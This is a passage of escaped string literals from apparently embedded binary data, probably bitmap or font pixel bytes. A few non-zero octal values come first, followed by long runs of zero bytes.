\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\200\\300\\200\\0\\0\\0\\6\\17\\17\\3\\3\\1\\1\\1\\3\\7\\7\"\n  \"\\17\\36\\36\\34\\34\\36\\16\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  